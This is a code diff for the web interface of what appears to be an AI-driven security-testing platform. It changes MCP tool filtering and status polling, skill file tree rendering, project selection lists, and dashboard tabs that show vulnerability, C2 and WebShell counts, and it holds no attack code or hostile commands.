|
||||
}
|
||||
|
||||
// 点击左侧外部 MCP 卡片,筛选并定位右侧工具列表
|
||||
async function scrollToExternalMCPTools(mcpName, event) {
|
||||
if (event) {
|
||||
if (event.target.closest('.external-mcp-item-actions, button, a, input, label')) {
|
||||
return;
|
||||
}
|
||||
event.stopPropagation();
|
||||
}
|
||||
|
||||
if (toolsExternalMcpFilter === mcpName) {
|
||||
await clearExternalMcpFilter();
|
||||
return;
|
||||
}
|
||||
|
||||
toolsExternalMcpFilter = mcpName;
|
||||
updateExternalMcpCardSelection();
|
||||
renderExternalMcpFilterChip();
|
||||
await loadToolsList(1, toolsSearchKeyword);
|
||||
|
||||
requestAnimationFrame(() => {
|
||||
highlightExternalMcpTools(mcpName);
|
||||
});
|
||||
}
|
||||
|
||||
function highlightExternalMcpTools(mcpName) {
|
||||
const toolsList = document.querySelector('.mcp-tools-panel .tools-list');
|
||||
if (toolsList) {
|
||||
toolsList.scrollTop = 0;
|
||||
}
|
||||
|
||||
document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
|
||||
el.classList.remove('highlight');
|
||||
});
|
||||
|
||||
const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
|
||||
const matchingTools = document.querySelectorAll(selector);
|
||||
if (matchingTools.length === 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
matchingTools.forEach(el => {
|
||||
el.classList.add('highlight');
|
||||
setTimeout(() => el.classList.remove('highlight'), 2000);
|
||||
});
|
||||
}
|
||||
|
||||
async function clearExternalMcpFilter() {
|
||||
toolsExternalMcpFilter = '';
|
||||
updateExternalMcpCardSelection();
|
||||
renderExternalMcpFilterChip();
|
||||
await loadToolsList(1, toolsSearchKeyword);
|
||||
}
|
||||
|
||||
function updateExternalMcpCardSelection() {
|
||||
document.querySelectorAll('.external-mcp-item').forEach(item => {
|
||||
item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
|
||||
});
|
||||
}
|
||||
|
||||
function renderExternalMcpFilterChip() {
|
||||
let chip = document.getElementById('tools-source-filter-chip');
|
||||
const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
|
||||
if (!toolsActions) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!chip) {
|
||||
chip = document.createElement('div');
|
||||
chip.id = 'tools-source-filter-chip';
|
||||
chip.className = 'tools-source-filter-chip';
|
||||
toolsActions.appendChild(chip);
|
||||
}
|
||||
|
||||
if (!toolsExternalMcpFilter) {
|
||||
chip.style.display = 'none';
|
||||
chip.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
const t = typeof window.t === 'function' ? window.t : (k) => k;
|
||||
chip.style.display = 'inline-flex';
|
||||
chip.innerHTML = `
|
||||
<span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
|
||||
<button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
|
||||
`;
|
||||
}
|
||||
|
||||
// 渲染工具列表分页控件
|
||||
function renderToolsPagination() {
|
||||
const toolsList = document.getElementById('tools-list');
|
||||
@@ -843,14 +1043,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
|
||||
updateToolsStats();
|
||||
}
|
||||
|
||||
function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
|
||||
const name = (toolName || '').trim();
|
||||
if (!name) return;
|
||||
function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
|
||||
const key = (toolKey || '').trim();
|
||||
if (!key) return;
|
||||
if (alwaysVisible) {
|
||||
alwaysVisibleToolNames.add(name);
|
||||
addAlwaysVisibleAliases(key);
|
||||
} else {
|
||||
alwaysVisibleToolNames.delete(name);
|
||||
removeAlwaysVisibleAliases(key);
|
||||
}
|
||||
updateToolsStats();
|
||||
}
|
||||
|
||||
// 全选工具
|
||||
@@ -960,60 +1161,22 @@ async function updateToolsStats() {
|
||||
return checkbox ? checkbox.checked : tool.enabled;
|
||||
}).length;
|
||||
} else {
|
||||
// 没有搜索时,需要获取所有工具的状态
|
||||
// 先使用全局状态映射和当前页的checkbox状态
|
||||
const localStateMap = new Map();
|
||||
|
||||
// 从当前页的checkbox获取状态(如果全局映射中没有)
|
||||
allTools.forEach(tool => {
|
||||
const toolKey = getToolKey(tool);
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
if (savedState !== undefined) {
|
||||
localStateMap.set(toolKey, savedState.enabled);
|
||||
} else {
|
||||
const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
|
||||
const checkbox = document.getElementById(checkboxId);
|
||||
if (checkbox) {
|
||||
localStateMap.set(toolKey, checkbox.checked);
|
||||
} else {
|
||||
// 如果checkbox不存在(不在当前页),使用工具原始状态
|
||||
localStateMap.set(toolKey, tool.enabled);
|
||||
// 使用服务端统计,避免为统计翻页触发多次外部 MCP ListTools
|
||||
totalEnabled = toolsPagination.totalEnabled ?? 0;
|
||||
if (toolStateMap.size > 0) {
|
||||
let delta = 0;
|
||||
allTools.forEach(tool => {
|
||||
const toolKey = getToolKey(tool);
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
if (savedState === undefined) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 如果总工具数大于当前页,需要获取所有工具的状态
|
||||
if (totalTools > allTools.length) {
|
||||
// 遍历所有页面获取完整状态
|
||||
let page = 1;
|
||||
let hasMore = true;
|
||||
const pageSize = 100; // 使用较大的页面大小以减少请求次数
|
||||
|
||||
while (hasMore && page <= 10) { // 限制最多10页,避免无限循环
|
||||
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
|
||||
const pageResponse = await apiFetch(url);
|
||||
if (!pageResponse.ok) break;
|
||||
|
||||
const pageResult = await pageResponse.json();
|
||||
pageResult.tools.forEach(tool => {
|
||||
// 优先使用全局状态映射,否则使用服务器返回的状态
|
||||
const toolKey = getToolKey(tool);
|
||||
if (!localStateMap.has(toolKey)) {
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
|
||||
}
|
||||
});
|
||||
|
||||
if (page >= pageResult.total_pages) {
|
||||
hasMore = false;
|
||||
} else {
|
||||
page++;
|
||||
if (savedState.enabled !== tool.enabled) {
|
||||
delta += savedState.enabled ? 1 : -1;
|
||||
}
|
||||
}
|
||||
});
|
||||
totalEnabled = Math.max(0, totalEnabled + delta);
|
||||
}
|
||||
|
||||
// 计算启用的工具数
|
||||
totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
|
||||
}
|
||||
} catch (error) {
|
||||
console.warn('获取工具统计失败,使用当前页数据', error);
|
||||
@@ -1023,7 +1186,7 @@ async function updateToolsStats() {
|
||||
}
|
||||
|
||||
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
||||
const pinnedCount = alwaysVisibleToolNames.size;
|
||||
const pinnedCount = countUserAlwaysVisibleTools();
|
||||
statsEl.innerHTML = `
|
||||
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
||||
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
||||
@@ -1531,7 +1694,7 @@ async function saveToolsConfig() {
|
||||
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
||||
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
||||
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
||||
tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name))
|
||||
tool_search_always_visible_tools: getAlwaysVisibleForSave()
|
||||
},
|
||||
tools: []
|
||||
};
|
||||
@@ -1728,6 +1891,32 @@ async function fetchExternalMCPs() {
|
||||
return response.json();
|
||||
}
|
||||
|
||||
// MCP 管理页定时刷新外部 MCP 状态(感知后台断连/自动重连)
|
||||
let externalMcpPollTimer = null;
|
||||
const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
|
||||
|
||||
function startExternalMcpPoll() {
|
||||
stopExternalMcpPoll();
|
||||
externalMcpPollTimer = setInterval(function () {
|
||||
const mcpPage = document.getElementById('page-mcp-management');
|
||||
if (!mcpPage || !mcpPage.classList.contains('active')) {
|
||||
stopExternalMcpPoll();
|
||||
return;
|
||||
}
|
||||
if (document.hidden) {
|
||||
return;
|
||||
}
|
||||
loadExternalMCPs().catch(function () { /* ignore */ });
|
||||
}, EXTERNAL_MCP_POLL_INTERVAL_MS);
|
||||
}
|
||||
|
||||
function stopExternalMcpPoll() {
|
||||
if (externalMcpPollTimer) {
|
||||
clearInterval(externalMcpPollTimer);
|
||||
externalMcpPollTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
// 加载外部MCP列表并渲染
|
||||
async function loadExternalMCPs() {
|
||||
try {
|
||||
@@ -1746,6 +1935,13 @@ async function loadExternalMCPs() {
|
||||
}
|
||||
}
|
||||
|
||||
async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
|
||||
if (typeof loadToolsList === 'function') {
|
||||
const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
|
||||
await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
|
||||
}
|
||||
}
|
||||
|
||||
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
||||
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
||||
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||
@@ -1764,6 +1960,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||
console.warn('轮询工具数量失败:', e);
|
||||
}
|
||||
}
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||
window.refreshMentionTools();
|
||||
}
|
||||
@@ -1798,8 +1995,15 @@ function renderExternalMCPList(servers) {
|
||||
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
||||
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
||||
|
||||
const hasTools = server.tool_count !== undefined && server.tool_count > 0;
|
||||
const cardClickTitle = hasTools
|
||||
? escapeHtml(statusT('mcp.clickToViewTools', { name }))
|
||||
: '';
|
||||
const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
|
||||
const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
|
||||
|
||||
html += `
|
||||
<div class="external-mcp-item">
|
||||
<div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
|
||||
<div class="external-mcp-item-header">
|
||||
<div class="external-mcp-item-info">
|
||||
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
||||
@@ -1818,9 +2022,9 @@ function renderExternalMCPList(servers) {
|
||||
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
||||
</div>
|
||||
</div>
|
||||
${status === 'error' && server.error ? `
|
||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
|
||||
<strong>❌ ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||
${(status === 'error' || status === 'disconnected') && server.error ? `
|
||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
|
||||
<strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||
</div>` : ''}
|
||||
<div class="external-mcp-item-details">
|
||||
<div>
|
||||
@@ -1862,6 +2066,7 @@ function renderExternalMCPList(servers) {
|
||||
}
|
||||
html += '</div>';
|
||||
list.innerHTML = html;
|
||||
updateExternalMcpCardSelection();
|
||||
}
|
||||
|
||||
// 渲染外部MCP统计信息
|
||||
@@ -2222,6 +2427,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
||||
}
|
||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||
pollExternalMCPToolCount(name, 10);
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -2234,6 +2440,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
||||
} else {
|
||||
// 停止操作,直接刷新
|
||||
await loadExternalMCPs();
|
||||
await reloadMcpToolsAfterExternalChange(false);
|
||||
// 刷新对话界面的工具列表
|
||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||
window.refreshMentionTools();
|
||||
@@ -2285,6 +2492,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
|
||||
}
|
||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||
pollExternalMCPToolCount(name, 10);
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
return;
|
||||
} else if (status === 'error' || status === 'disconnected') {
|
||||
// 连接失败,刷新列表并显示错误
|
||||
|
||||
+16
-5
@@ -468,6 +468,11 @@ function showAddSkillModal() {
|
||||
modal.style.display = 'flex';
|
||||
}
|
||||
|
||||
function skillPackagePathDepth(path) {
|
||||
if (!path) return 0;
|
||||
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
|
||||
}
|
||||
|
||||
function renderSkillPackageTree() {
|
||||
const el = document.getElementById('skill-package-tree');
|
||||
if (!el) return;
|
||||
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
|
||||
}
|
||||
el.innerHTML = rows.map(f => {
|
||||
const path = f.path || '';
|
||||
const indent = 8 + skillPackagePathDepth(path) * 14;
|
||||
if (f.is_dir) {
|
||||
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
|
||||
const dirLabel = path.endsWith('/') ? path : path + '/';
|
||||
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
|
||||
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
|
||||
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
|
||||
`</div>`;
|
||||
}
|
||||
const sel = path === skillActivePath
|
||||
? 'font-weight:600;background:rgba(99,102,241,0.12);'
|
||||
: '';
|
||||
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
|
||||
const selected = path === skillActivePath ? ' is-selected' : '';
|
||||
return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
|
||||
`<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
|
||||
`<span class="skill-tree-label">${escapeHtml(path)}</span>` +
|
||||
`</div>`;
|
||||
}).join('');
|
||||
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
|
||||
node.addEventListener('click', () => {
|
||||
|
||||
+12
-5
@@ -819,12 +819,19 @@ async function refreshBatchProjectSelectOptions() {
|
||||
projectSelect.innerHTML = `<option value="">${escapeHtml(noneLabel)}</option>`;
|
||||
|
||||
try {
|
||||
const response = await apiFetch('/api/projects?status=active&limit=200');
|
||||
if (!response.ok) {
|
||||
throw new Error(_t('projects.loadProjectsFailed'));
|
||||
let list = [];
|
||||
if (typeof fetchAllProjects === 'function') {
|
||||
list = await fetchAllProjects(false);
|
||||
} else {
|
||||
const response = await apiFetch('/api/projects?status=active&limit=500');
|
||||
if (!response.ok) {
|
||||
throw new Error(_t('projects.loadProjectsFailed'));
|
||||
}
|
||||
const data = await response.json();
|
||||
list = typeof parseProjectsListResponse === 'function'
|
||||
? parseProjectsListResponse(data).items
|
||||
: (Array.isArray(data) ? data : (data.projects || []));
|
||||
}
|
||||
const projects = await response.json();
|
||||
const list = Array.isArray(projects) ? projects : [];
|
||||
const activeProjectId = typeof getActiveProjectId === 'function' ? getActiveProjectId() || '' : '';
|
||||
|
||||
list.forEach((project) => {
|
||||
|
||||
@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
|
||||
open: 'vulnerabilityPage.statusOpen',
|
||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||
fixed: 'vulnerabilityPage.statusFixed',
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive'
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||
ignored: 'vulnerabilityPage.statusIgnored'
|
||||
};
|
||||
return m[code] ? vulnT(m[code]) : code;
|
||||
}
|
||||
@@ -855,11 +856,6 @@ function renderVulnerabilities(vulnerabilities) {
|
||||
if (typeof window.applyTranslations === 'function') {
|
||||
window.applyTranslations(listContainer);
|
||||
}
|
||||
// 清空分页信息
|
||||
const paginationContainer = document.getElementById('vulnerability-pagination');
|
||||
if (paginationContainer) {
|
||||
paginationContainer.innerHTML = '';
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -960,12 +956,6 @@ function renderVulnerabilityPagination() {
|
||||
|
||||
const { currentPage, totalPages, total, pageSize } = vulnerabilityPagination;
|
||||
|
||||
// 如果没有数据,不显示分页控件
|
||||
if (total === 0) {
|
||||
paginationContainer.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
// 计算显示范围
|
||||
const start = total === 0 ? 0 : (currentPage - 1) * pageSize + 1;
|
||||
const end = total === 0 ? 0 : Math.min(currentPage * pageSize, total);
|
||||
@@ -1052,13 +1042,23 @@ async function populateVulnerabilityModalProjectSelect(selectedId) {
|
||||
const sel = document.getElementById('vulnerability-project-id');
|
||||
if (!sel) return;
|
||||
try {
|
||||
const res = await apiFetch('/api/projects?limit=200');
|
||||
if (res.ok) {
|
||||
const list = await res.json();
|
||||
let list = [];
|
||||
if (typeof fetchAllProjects === 'function') {
|
||||
list = await fetchAllProjects();
|
||||
} else {
|
||||
const res = await apiFetch('/api/projects?limit=500');
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
list = typeof parseProjectsListResponse === 'function'
|
||||
? parseProjectsListResponse(data).items
|
||||
: (Array.isArray(data) ? data : (data.projects || []));
|
||||
}
|
||||
}
|
||||
if (list.length) {
|
||||
if (typeof rebuildProjectNameMap === 'function') {
|
||||
rebuildProjectNameMap(list);
|
||||
} else if (typeof projectNameById !== 'undefined') {
|
||||
(list || []).forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
|
||||
list.forEach((p) => { if (p.id) projectNameById[p.id] = p.name || p.id; });
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
@@ -1722,9 +1722,17 @@ async function refreshVulnerabilityProjectFilter() {
|
||||
const sel = document.getElementById('vulnerability-project-filter');
|
||||
if (!sel) return;
|
||||
try {
|
||||
const res = await apiFetch('/api/projects?limit=200');
|
||||
if (!res.ok) return;
|
||||
const list = await res.json();
|
||||
let list = [];
|
||||
if (typeof fetchAllProjects === 'function') {
|
||||
list = await fetchAllProjects(true);
|
||||
} else {
|
||||
const res = await apiFetch('/api/projects?limit=500');
|
||||
if (!res.ok) return;
|
||||
const data = await res.json();
|
||||
list = typeof parseProjectsListResponse === 'function'
|
||||
? parseProjectsListResponse(data).items
|
||||
: (Array.isArray(data) ? data : (data.projects || []));
|
||||
}
|
||||
if (typeof rebuildProjectNameMap === 'function') {
|
||||
rebuildProjectNameMap(list);
|
||||
} else if (typeof projectNameById !== 'undefined') {
|
||||
|
||||
Vendored
+6
File diff suppressed because one or more lines are too long
Vendored
+2
File diff suppressed because one or more lines are too long
+105
-132
@@ -221,7 +221,6 @@
|
||||
</svg>
|
||||
</div>
|
||||
<div class="nav-submenu" id="submenu-c2">
|
||||
<div class="nav-submenu-item" data-page="c2" onclick="switchPage('c2')" data-i18n="nav.c2Manage">C2 管理</div>
|
||||
<div class="nav-submenu-item" data-page="c2-listeners" onclick="switchPage('c2-listeners')" data-i18n="nav.c2Listeners">监听器</div>
|
||||
<div class="nav-submenu-item" data-page="c2-sessions" onclick="switchPage('c2-sessions')" data-i18n="nav.c2Sessions">会话</div>
|
||||
<div class="nav-submenu-item" data-page="c2-tasks" onclick="switchPage('c2-tasks')" data-i18n="nav.c2Tasks">任务</div>
|
||||
@@ -574,76 +573,59 @@
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
<section class="dashboard-section dashboard-section-recent-vulns">
|
||||
<div class="dashboard-section-header">
|
||||
<h3 class="dashboard-section-title" data-i18n="dashboard.recentVulns">最近漏洞</h3>
|
||||
<a class="dashboard-section-link" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
|
||||
<section class="dashboard-section dashboard-section-recent-feed">
|
||||
<div class="dashboard-section-header dashboard-section-header--tabs">
|
||||
<nav class="dashboard-feed-tabs" role="tablist" aria-label="最近漏洞与近期事实">
|
||||
<button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-feed-tab-vulns" aria-selected="true" aria-controls="dashboard-feed-panel-vulns" onclick="switchDashboardFeedTab('vulns')" data-i18n="dashboard.recentVulns">最近漏洞</button>
|
||||
<button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-feed-tab-facts" aria-selected="false" aria-controls="dashboard-feed-panel-facts" onclick="switchDashboardFeedTab('facts')" data-i18n="dashboard.recentFacts">近期事实</button>
|
||||
</nav>
|
||||
<a class="dashboard-section-link" id="dashboard-feed-view-all" onclick="switchPage('vulnerabilities')" data-i18n="dashboard.viewAll">查看全部 →</a>
|
||||
</div>
|
||||
<div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
|
||||
<div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
|
||||
</div>
|
||||
</section>
|
||||
<!-- C2 概览:介于「最近漏洞」与「批量任务队列」之间 -->
|
||||
<section class="dashboard-section dashboard-section-c2" id="dashboard-section-c2" hidden>
|
||||
<div class="dashboard-section-header">
|
||||
<h3 class="dashboard-section-title" data-i18n="dashboard.c2OverviewTitle">C2 概览</h3>
|
||||
<a class="dashboard-section-link" onclick="switchPage('c2')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
|
||||
</div>
|
||||
<div class="dashboard-c2-strip">
|
||||
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
|
||||
<span class="dashboard-c2-stat-value" id="dashboard-c2-listeners-running">-</span>
|
||||
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2ListenersRunning">运行中监听器</span>
|
||||
<div class="dashboard-feed-panel" id="dashboard-feed-panel-vulns" role="tabpanel" aria-labelledby="dashboard-feed-tab-vulns">
|
||||
<div class="dashboard-recent-vulns" id="dashboard-recent-vulns">
|
||||
<div class="dashboard-recent-vulns-empty" id="dashboard-recent-vulns-empty" data-i18n="dashboard.noVulnYet">暂无最近漏洞</div>
|
||||
</div>
|
||||
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-sessions')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-sessions'); }" data-i18n="dashboard.c2ClickSessions" data-i18n-attr="title" title="查看会话">
|
||||
<span class="dashboard-c2-stat-value" id="dashboard-c2-sessions-online">-</span>
|
||||
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2SessionsOnline">在线会话</span>
|
||||
</div>
|
||||
<div class="dashboard-c2-stat" role="button" tabindex="0" onclick="switchPage('c2-tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-tasks'); }" data-i18n="dashboard.c2ClickTasks" data-i18n-attr="title" title="查看任务">
|
||||
<span class="dashboard-c2-stat-value" id="dashboard-c2-tasks-pending">-</span>
|
||||
<span class="dashboard-c2-stat-label" data-i18n="dashboard.c2TasksPending">待审 / 排队任务</span>
|
||||
</div>
|
||||
<div class="dashboard-feed-panel" id="dashboard-feed-panel-facts" role="tabpanel" aria-labelledby="dashboard-feed-tab-facts" hidden>
|
||||
<div class="dashboard-recent-facts" id="dashboard-recent-facts">
|
||||
<div class="dashboard-recent-facts-empty" id="dashboard-recent-facts-empty" data-i18n="dashboard.noFactsYet">暂无近期事实</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
<section class="dashboard-section dashboard-section-overview">
|
||||
<div class="dashboard-section-header">
|
||||
<h3 class="dashboard-section-title" data-i18n="dashboard.batchQueues">批量任务队列</h3>
|
||||
<a class="dashboard-section-link" onclick="switchPage('tasks')" data-i18n="dashboard.viewAll">查看全部 →</a>
|
||||
<!-- 接入概览:C2 / WebShell Tab 切换(样式同「最近漏洞 / 近期事实」) -->
|
||||
<section class="dashboard-section dashboard-section-access" id="dashboard-section-access" hidden>
|
||||
<div class="dashboard-section-header dashboard-section-header--tabs">
|
||||
<nav class="dashboard-feed-tabs" id="dashboard-access-tabs" role="tablist" aria-label="C2 与 WebShell" data-i18n="dashboard.accessTabsAria" data-i18n-attr="aria-label">
|
||||
<button type="button" class="dashboard-feed-tab is-active" role="tab" id="dashboard-access-tab-c2" aria-selected="true" aria-controls="dashboard-access-panel-c2" onclick="switchDashboardAccessTab('c2')" data-i18n="nav.c2">C2</button>
|
||||
<button type="button" class="dashboard-feed-tab" role="tab" id="dashboard-access-tab-webshell" aria-selected="false" aria-controls="dashboard-access-panel-webshell" onclick="switchDashboardAccessTab('webshell')" data-i18n="dashboard.webshellLabel">WebShell</button>
|
||||
</nav>
|
||||
<a class="dashboard-section-link" id="dashboard-access-view-all" onclick="switchPage('c2-listeners')" data-i18n="dashboard.c2GoManage">进入 C2 →</a>
|
||||
</div>
|
||||
<div class="dashboard-overview-list">
|
||||
<div class="dashboard-overview-item dashboard-overview-item-batch" role="button" tabindex="0" onclick="switchPage('tasks')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('tasks'); }">
|
||||
<span class="dashboard-overview-icon dashboard-overview-icon-batch" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg></span>
|
||||
<div class="dashboard-overview-content">
|
||||
<div class="dashboard-overview-header">
|
||||
<span class="dashboard-overview-label" data-i18n="dashboard.batchQueues">批量任务队列</span>
|
||||
<span class="dashboard-overview-total" id="dashboard-batch-total">-</span>
|
||||
</div>
|
||||
<div class="dashboard-overview-stats">
|
||||
<span class="dashboard-overview-stat dashboard-overview-stat-pending">
|
||||
<span class="dashboard-overview-stat-badge badge-pending"></span>
|
||||
<span class="dashboard-overview-stat-value" id="dashboard-batch-pending">-</span>
|
||||
<span class="dashboard-overview-stat-label" data-i18n="dashboard.pending">待执行</span>
|
||||
</span>
|
||||
<span class="dashboard-overview-stat dashboard-overview-stat-running">
|
||||
<span class="dashboard-overview-stat-badge badge-running"></span>
|
||||
<span class="dashboard-overview-stat-value" id="dashboard-batch-running">-</span>
|
||||
<span class="dashboard-overview-stat-label" data-i18n="dashboard.executing">执行中</span>
|
||||
</span>
|
||||
<span class="dashboard-overview-stat dashboard-overview-stat-done">
|
||||
<span class="dashboard-overview-stat-badge badge-done"></span>
|
||||
<span class="dashboard-overview-stat-value" id="dashboard-batch-done">-</span>
|
||||
<span class="dashboard-overview-stat-label" data-i18n="dashboard.completed">已完成</span>
|
||||
</span>
|
||||
</div>
|
||||
<div class="dashboard-overview-progress">
|
||||
<div class="dashboard-overview-progress-bar">
|
||||
<div class="dashboard-overview-progress-segment dashboard-overview-progress-pending" id="dashboard-batch-progress-pending" style="width: 0%"></div>
|
||||
<div class="dashboard-overview-progress-segment dashboard-overview-progress-running" id="dashboard-batch-progress-running" style="width: 0%"></div>
|
||||
<div class="dashboard-overview-progress-segment dashboard-overview-progress-done" id="dashboard-batch-progress-done" style="width: 0%"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="dashboard-feed-panel" id="dashboard-access-panel-c2" role="tabpanel" aria-labelledby="dashboard-access-tab-c2">
|
||||
<div class="dashboard-access-strip">
|
||||
<div class="dashboard-access-stat dashboard-access-stat--c2" role="button" tabindex="0" onclick="switchPage('c2-listeners')" onkeydown="if(event.key==='Enter'||event.key===' ') { event.preventDefault(); switchPage('c2-listeners'); }" data-i18n="dashboard.c2ClickListeners" data-i18n-attr="title" title="查看监听器">
|
||||
<span class="dashboard-access-stat-value" id="dashboard-c2-listeners-running">-</span>
|
||||
